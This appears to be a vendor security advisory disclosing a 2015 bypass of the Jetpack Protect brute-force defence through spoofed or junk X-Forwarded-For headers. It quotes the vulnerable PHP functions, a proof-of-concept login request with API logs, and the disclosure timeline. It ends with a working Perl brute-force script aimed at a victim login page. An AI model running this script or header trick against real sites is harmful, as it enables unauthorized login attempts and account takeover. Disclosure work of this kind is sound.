Jetpack Protect: IP spoofing and improper data validation allow security feature bypass.

by

NinTechNet


Since version 3.4, the popular Jetpack by WordPress.com plugin (15+ million downloads / 1+ million active installs) includes Jetpack Protect, a module "to protect your Jetpack-connected WordPress sites from bot net attacks". It works by tracking failed log in attempts across all its users.


Vulnerability

Jetpack Protect 3.4/3.4.1 security can be bypassed because it fails to properly validate input from the client and it is subject to IP spoofing. One can simply insert various HTTP headers - from a forged IP to a nursery rhyme - into the POST requests sent during the brute-force attack to defeat the whole protection. Both the plugin and the remote API server are vulnerable.


Plugin Overview

When someone is accessing the WordPress login page, the plugin retrieves the user's IP, sends it to the main server (api.bruteprotect.com) and expects one of the following answers:

  • "ok: No current blocks on this IP address": the user will be allowed to access the admin dashboard login page.
  • "blocked: This IP is currently blocked": the plugin will immediately block the user (for up to 3600 seconds) and a 403 HTTP code is returned.
  • "error": An error occurred.

A captcha is also available if the plugin cannot get a response from the API server.
In the case of a failed login attempt, the plugin forward the user's IP to the API server as well.


Details

To retrieve the visitors IP, the plugin uses the jetpack_protect_get_ip() function from the /jetpack/modules/protect/shared-functions.php script (lines 96-131):

96 function jetpack_protect_get_ip() {
97
98
99    $server_headers = array(
100        'HTTP_CLIENT_IP',
101        'HTTP_CF_CONNECTING_IP',
102        'HTTP_X_FORWARDED_FOR',
103        'HTTP_X_FORWARDED',
104        'HTTP_X_CLUSTER_CLIENT_IP',
105        'HTTP_FORWARDED_FOR',
106        'HTTP_FORWARDED',
107        'REMOTE_ADDR'
108    );
109
110    foreach( $server_headers as $key ) {
111
112        if ( ! array_key_exists( $key, $_SERVER ) ) {
113            continue;
114        }
115
116        foreach( explode( ',', $_SERVER[ $key ] ) as $ip ) {
117            $ip = trim( $ip ); // just to be safe
118
119            // Check for IPv4 IP cast as IPv6
120            if ( preg_match('/^::ffff:(\d+\.\d+\.\d+\.\d+)$/', $ip, $matches ) ) {
121                $ip = $matches[1];
122            }
123
124            // If the IP is in a private or reserved range, return REMOTE_ADDR to help prevent spoofing
125            if ( $ip == '127.0.0.1' || $ip == '::1' || jetpack_protect_ip_is_private( $ip ) ) {
126                return $_SERVER[ 'REMOTE_ADDR' ];
127            }
128            return $ip;
129        }
130    }
131 }

Rather than retrieving the IP from the REMOTE_ADDR header, the only trusted source, the plugin will first check if one the following seven unreliable headers is set, in that order: HTTP_CLIENT_IP, HTTP_CF_CONNECTING_IP, HTTP_X_FORWARDED_FOR, HTTP_X_FORWARDED, HTTP_X_CLUSTER_CLIENT_IP, HTTP_FORWARDED_FOR, HTTP_FORWARDED.
If none of those headers is set, it will fall back to REMOTE_ADDR.
But if at least one of them exists, its content will be used and sent to the API server, as long as it is not a local or private IP.

> An attacker can run a brute-force attack and bypass the plugin security simply by injecting any of the above unreliable HTTP headers with a different forged IP into each POST request sent to the WordPress login page.


Besides accepting spoofed IPs, the plugin fails to properly validate input and allows an attacker to craft requests that should never be accepted by a security application. The only validation rule is the call to the jetpack_protect_ip_is_private() function (lines 139-164):

139 function jetpack_protect_ip_is_private( $ip ) {
140
141    // we are dealing with ipv6, so we can simply rely on filter_var
142    if ( false === strpos( $ip, '.' ) ) {
143        return !filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE );
144    }
145
146    // we are dealing with ipv4
147    $private_ip4_addresses = array(
148        '10.0.0.0|10.255.255.255',     // single class A network
149        '172.16.0.0|172.31.255.255',   // 16 contiguous class B network
150        '192.168.0.0|192.168.255.255', // 256 contiguous class C network
151        '169.254.0.0|169.254.255.255', // Link-local address also referred to as Automatic Private IP Addressing
152        '127.0.0.0|127.255.255.255'    // localhost
153    );
154    $long_ip = ip2long( $ip );
155    if ( -1 != $long_ip ) {
156        foreach ( $private_ip4_addresses as $pri_addr ) {
157            list ( $start, $end ) = explode( '|', $pri_addr );
158            if ( $long_ip >= ip2long( $start ) && $long_ip <= ip2long( $end ) ) {
159                return true;
160            }
161        }
162    }
163    return false;
164 }

The function checks if the data found in the HTTP header is a private IP:

  • If the data does not contain any . dot, it will consider it as an IPv6 and will properly validate it with the filter_var() function.
  • But if the data contains a . dot, it will consider it as a valid IPv4 and will only check whether it is a private IP.

No other validation is performed. Therefore, any input that contains at least a . dot will be accepted by the plugin, such as this nursery rhyme:

X-Forwarded-For: Jack and Jill went up the hill to fetch a pail of water. Jack fell down and broke his crown and Jill came tumbling after.

> The above header will bypass the plugin and the API server security as described in our POC below.


Another function, get_headers(), from the /jetpack/modules/protect.php script (lines 232-260), deals with HTTP headers in order to retrieve IPs:

232 function get_headers() {
233     $ip_related_headers = array(
234         'GD_PHP_HANDLER',
235         'HTTP_AKAMAI_ORIGIN_HOP',
236         'HTTP_CF_CONNECTING_IP',
237         'HTTP_CLIENT_IP',
238         'HTTP_FASTLY_CLIENT_IP',
239         'HTTP_FORWARDED',
240         'HTTP_FORWARDED_FOR',
241         'HTTP_INCAP_CLIENT_IP',
242         'HTTP_TRUE_CLIENT_IP',
243         'HTTP_X_CLIENTIP',
244         'HTTP_X_CLUSTER_CLIENT_IP',
245         'HTTP_X_FORWARDED',
246         'HTTP_X_FORWARDED_FOR',
247         'HTTP_X_IP_TRAIL',
248         'HTTP_X_REAL_IP',
249         'HTTP_X_VARNISH',
250         'REMOTE_ADDR'
251     );
252
253     foreach( $ip_related_headers as $header) {
254         if ( isset( $_SERVER[ $header ] ) ) {
255             $output[ $header ] = $_SERVER[ $header ];
256         }
257     }
258
259     return $output;
260 }

> This function lacks any input validation, thus any data can be injected here as well (although neither the plugin nor the server seemed to rely on those headers during our test).


Proof of concept: Jack, Jill and Jetpack

1) We ran a brute-force attack, from a single IP/computer, against a WordPress blog where Jetpack Protect was installed and enabled.
We only inserted the same Jack and Jill header into each POST request we sent:

POST /wp-login.php HTTP/1.1
Host: xxxxxxxxxxxxxxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) Jack-n-Jill/1.0
X-Forwarded-For: Jack and Jill went up the hill to fetch a pail of water. Jack fell down and broke his crown and Jill came tumbling after
Cookie: _wordpress_test_cookie=WP+Cookie+check

log=jack&pwd=jill&wp-submit=Log+In&redirect_to=http%3A%2F%2Fxxxxxxxxxxxxxxx.xxx%2Fwp-login%2Ephp&testcookie=1

2) As expected, the plugin accepted our Jack and Jill header as a valid IPv4 and forwarded it to the API server:

Mar 24, 2015 @ 09:40:44 +0100: POSTing to remote API server api.bruteprotect.com
Array
(
    [body] => Array
        (
            [action] => check_ip
            [ip] => Jack and Jill went up the hill to fetch a pail of water. Jack fell down and broke his crown and Jill came tumbling after
            [host] => xxxxxxxxxxxxxxx.xxx
            [headers] => {"HTTP_X_FORWARDED_FOR":"Jack and Jill went up the hill to fetch a pail of water. Jack fell down and broke his crown and Jill came tumbling after","REMOTE_ADDR":"xxx.xxx.xxx.xx"}
            [jetpack_version] => 3.4.1
            [wordpress_version] => 4.1.1
            [api_key] => xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
            [multisite] => 0
        )

    [user-agent] => WordPress/4.1.1 | Jetpack/3.4.1
    [httpversion] => 1.0
    [timeout] => 15
)

3) At that point, we were expecting that the server would either reject the request with an error message, or would fall back to REMOTE_ADDR (which is included in the headers field anyway) and eventually would block us.
But, like its plugin, the api.bruteprotect.com server failed to properly validate input: during the whole attack, it accepted our "IP" and always returned the same OK status message:

Mar 24, 2015 @ 09:40:45 +0100: response from remote API server api.bruteprotect.com
Array (
    [status] => ok
    [msg] => No current blocks on this IP address
    [seconds_remaining] => 3600
)

Jetpack 3.4.1 failed to block the brute-force attack.


Timeline

  • 24-MAR-2015: Report sent to the WordPress plugins department, which forwarded it to the Jetpack team.
  • 08-AVR-2015: No answer from the Jetpack developers after 15 days. Public disclosure.
  • 08-AVR-2015: Author patched the vulnerability on the API server (confirmation email).
  • 06-JUL-2015: Plugin was patched (trac).

Resources:

  • The perl script used to perform the attack :
#!/usr/bin/perl
########################################################################
# Brute-force attack simulation to bypass Jetpack Protect v3.4/3.4.1   #
# (c)2015 NinTechNet  - http://nintechnet.com/                         #
########################################################################
use strict;

# Add the full URL to the victim wp-login.php page below:
my $victim = 'http://xxxxxxxxxxxxxxxxxxxxxx.xxxxx/wp-login.php';

&help if ( $ARGV[0] !~ /^--(spoof|jj|none)$/);
my $user = 'jack';
my $pass = 'jill';
# Any text will do, as long as it contains as least a '.' dot:
my $fwd =   'Jack and Jill went up the hill ' .
            'to fetch a pail of water. ' .
            'Jack fell down and broke his crown ' .
            'and Jill came tumbling after';

require LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $param = $ARGV[0];

# Start the brute-force attack (max 100 attempts) :
for ( my $i = 1;  $i < 101; $i++ ) {
   if ($param eq '--spoof') {
      $fwd = join ".", map int rand 256, 1 .. 4;
      print "Attempt $i (spoofing IP $fwd): ";
   } elsif ($param eq '--jj') {
      print "Attempt $i (Jack'n Jill attack): ";
   } else {
      print "Attempt $i: ";
      $fwd = 0;
   }
   $ua->timeout(10);
   $ua->agent('Mozilla/5.0 (X11; Linux x86_64) Jack-n-Jill/1.0');
   $ua->default_header('Cookie' => 'wordpress_test_cookie=WP+Cookie+check');
   # Insert our nursery rhyme or spoofed IP:
   $ua->default_header('X-Forwarded-For' => $fwd) if $fwd;
   my $response = $ua->post(
      $victim, [
         'log'          => $user,
         'pwd'          => $pass,
         'wp-submit'    => 'Log In',
         'redirect_to'  => $victim,
         'testcookie'   => '1' ],
   );
   # check response :
   if ( $response->is_success ) {
      print "Success !\n";
   } elsif ( $response->code == 403 && $response->content =~ /has been flagged/ ) {
      print "ERR: Blocked by Jetpack Protect !\n";
   } elsif ( $response->code == 500 && $response->content =~ /Prove your humanity/ ) {
      print "ERR: Jetpack Protect captcha fallback detected !\n";
   } else {
      print "ERR: ". $response->code . ": " . $response->message ."\n";
   }
}
exit;

sub help {

    print "
Usage : $0 [options]

Options:
  --jj      : Jack and Jill attack.
  --spoof   : spoofed IPs attack.
  --none    : normal attack (you'll likely get blocked).

";
   exit;
}
########################################################################



NinjaMonitoring

Website Monitoring
for just $4.99 per month.



NinjaFirewall

Web Application Firewall
for PHP and WordPress.



NinjaRecovery

Malware removal
and hacking recovery.

Table of contents